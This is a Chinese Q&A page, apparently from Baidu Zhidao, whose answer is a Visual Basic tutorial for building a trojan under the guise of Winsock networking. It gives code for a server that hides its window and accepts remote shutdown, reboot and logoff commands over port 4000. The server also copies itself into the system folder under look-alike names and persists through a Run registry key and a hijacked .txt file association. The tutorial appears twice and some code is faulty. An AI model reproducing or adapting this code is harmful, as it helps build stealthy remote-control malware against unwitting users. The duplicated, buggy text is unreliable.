VB中使用winsock控件要实现网络通信怎么编程?服务端和客户端都必须各编个程序吗?
2012-06-01
展开全部
首先,新建一工程,名为Server,新建一个窗体,Name为frmServer,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的TCP/IP协议。
接下来我们回来frmServer窗体模块中,添加如下代码:
Private Sub form_Load()
With Me
.sckServer.LocalPort = 4000‘本地端口
.sckServer.Listen ‘开始监听
End With
End Sub
‘接受客户端的连接请求。
Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
With Me
If .sckServer.State <>sckClosed Then .sckServer.Close
.sckServer.Accept (requestID)
End With
End Sub
下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为frmClient,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码:
Private Sub form_Load()
With Me
.sckClient.RemoteHost = "127.0.0.1"‘设置远程IP,本例设为本机。
.sckClient.RemotePort = 4000 ‘远程端口,就为server中的设置一样.
End With
End Sub
Private sub cmdConnect_Click()
SckClient.Connect
End sub
至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print “Connetion successful!”来查看。
这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,我们打算实现一点小小的功能―――关机,重启,注销。好,开始吧!
在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:
Public Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long
Public Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。
下面在Client工程的frmClient窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启操作。分别添加如下代码:
Private Sub cmdExit_Click()
Me.sckClient.SendData "Exit"
End Sub
Private Sub cmdLogoff_Click()
Me.sckClient.SendData "Logoff"
End Sub
Private Sub cmdReboot_Click()
Me.sckClient.SendData "Reboot"
End Sub
全都是对服务端发出请求。下面转到Server工程中:在frmServer中添加sckServer的DataArrial事件,接收客户端的请求。
Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
With Me
'' 接收客户请求的信息
.sckServer.GetData strData
Select Case strData
Case "Exit"
''关机
Call ExitWindowsEx(EWX_SHUTDOWN, 0)
Case "Reboot"
''重启
Call ExitWindowsEx(EWX_REBOOT, 0)
Case "Logoff"
''注销
Call ExitWindowsEx(EWX_LOGOFF, 0)
End Select
End With
End Sub
好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在frmServer中的form_Load事件中加入一句:me.hide。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧!
回到Server工程中的modApi中加入如下API函数:
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const REG_BINARY = 3
Public Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ROOT = &H80000000
写到注册表启动组中的过程。
Public Sub StartupGroup()
Dim sKey As String
Dim result As Long
Dim hKeyID As Long
Dim sKeyVal As String
sKey = "Systrsy" ''启动组中的键,找一个与系统文件相近的。
sKeyVal = "C:\windows\system\systrsy.exe" ''木马文件的路径,可以用GetSystemDirectory来取得系统路径。
result = RegOpenKey(HKEY_LOCAL_MACHINE, _
"Software\Microsoft\Windows\CurrentVersion\Run", hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, _
Len(sKey) + 1)
End If
End Sub
好就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码:
Public Sub WriteToTxt()
Dim result As Long
Dim hKeyID As Long
Dim skey As String
Dim skeyVal As String
skey = "txtfile\shell\open\command"
skeyVal = "C:\windows\system\txtView.exe"
result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, _
skeyVal, Len(skeyVal) + 1)
End If
End Sub
肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:\windows\system\txtView.exe是哪里来的,我们的木马是C:\windows\system\systrsy.exe呀。这可是我们木马的分身了。
好,回到Server工程的frmServer窗体的form_Load中,加入如下代码:
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "\" & App.EXEName & ".exe"
sSystemDir = “C:\windows\system”
On Error Resume Next
‘复制文件成系统目录下的Systrsy.exe
FileCopy sCurrentPath, sSystemDir & "\Systrsy.exe"
On Error Resume Next
复制文件成系统目录下的txtView.exe
FileCopy sCurrentPath, sSystemDir & "\txtView.exe"
调用
Call startupGroup
Call WriteToTxt
''判断程序是否下在运行
If App.PrevInstance Then
‘如果已经运行就退出。
End
End If
接下来我们回来frmServer窗体模块中,添加如下代码:
Private Sub form_Load()
With Me
.sckServer.LocalPort = 4000‘本地端口
.sckServer.Listen ‘开始监听
End With
End Sub
‘接受客户端的连接请求。
Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
With Me
If .sckServer.State <>sckClosed Then .sckServer.Close
.sckServer.Accept (requestID)
End With
End Sub
下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为frmClient,在上面加入一个winsock控件,名为sckClient,协议为TCP/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码:
Private Sub form_Load()
With Me
.sckClient.RemoteHost = "127.0.0.1"‘设置远程IP,本例设为本机。
.sckClient.RemotePort = 4000 ‘远程端口,就为server中的设置一样.
End With
End Sub
Private sub cmdConnect_Click()
SckClient.Connect
End sub
至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:debug.print “Connetion successful!”来查看。
这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,我们打算实现一点小小的功能―――关机,重启,注销。好,开始吧!
在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:
Public Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long
Public Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。
下面在Client工程的frmClient窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启操作。分别添加如下代码:
Private Sub cmdExit_Click()
Me.sckClient.SendData "Exit"
End Sub
Private Sub cmdLogoff_Click()
Me.sckClient.SendData "Logoff"
End Sub
Private Sub cmdReboot_Click()
Me.sckClient.SendData "Reboot"
End Sub
全都是对服务端发出请求。下面转到Server工程中:在frmServer中添加sckServer的DataArrial事件,接收客户端的请求。
Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
With Me
'' 接收客户请求的信息
.sckServer.GetData strData
Select Case strData
Case "Exit"
''关机
Call ExitWindowsEx(EWX_SHUTDOWN, 0)
Case "Reboot"
''重启
Call ExitWindowsEx(EWX_REBOOT, 0)
Case "Logoff"
''注销
Call ExitWindowsEx(EWX_LOGOFF, 0)
End Select
End With
End Sub
好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在frmServer中的form_Load事件中加入一句:me.hide。好这下看不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧!
回到Server工程中的modApi中加入如下API函数:
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Const REG_BINARY = 3
Public Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ROOT = &H80000000
写到注册表启动组中的过程。
Public Sub StartupGroup()
Dim sKey As String
Dim result As Long
Dim hKeyID As Long
Dim sKeyVal As String
sKey = "Systrsy" ''启动组中的键,找一个与系统文件相近的。
sKeyVal = "C:\windows\system\systrsy.exe" ''木马文件的路径,可以用GetSystemDirectory来取得系统路径。
result = RegOpenKey(HKEY_LOCAL_MACHINE, _
"Software\Microsoft\Windows\CurrentVersion\Run", hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, _
Len(sKey) + 1)
End If
End Sub
好就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他发现了删也删不掉。请看下面的代码:
Public Sub WriteToTxt()
Dim result As Long
Dim hKeyID As Long
Dim skey As String
Dim skeyVal As String
skey = "txtfile\shell\open\command"
skeyVal = "C:\windows\system\txtView.exe"
result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, _
skeyVal, Len(skeyVal) + 1)
End If
End Sub
肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:\windows\system\txtView.exe是哪里来的,我们的木马是C:\windows\system\systrsy.exe呀。这可是我们木马的分身了。
好,回到Server工程的frmServer窗体的form_Load中,加入如下代码:
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "\" & App.EXEName & ".exe"
sSystemDir = “C:\windows\system”
On Error Resume Next
‘复制文件成系统目录下的Systrsy.exe
FileCopy sCurrentPath, sSystemDir & "\Systrsy.exe"
On Error Resume Next
复制文件成系统目录下的txtView.exe
FileCopy sCurrentPath, sSystemDir & "\txtView.exe"
调用
Call startupGroup
Call WriteToTxt
''判断程序是否下在运行
If App.PrevInstance Then
‘如果已经运行就退出。
End
End If
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询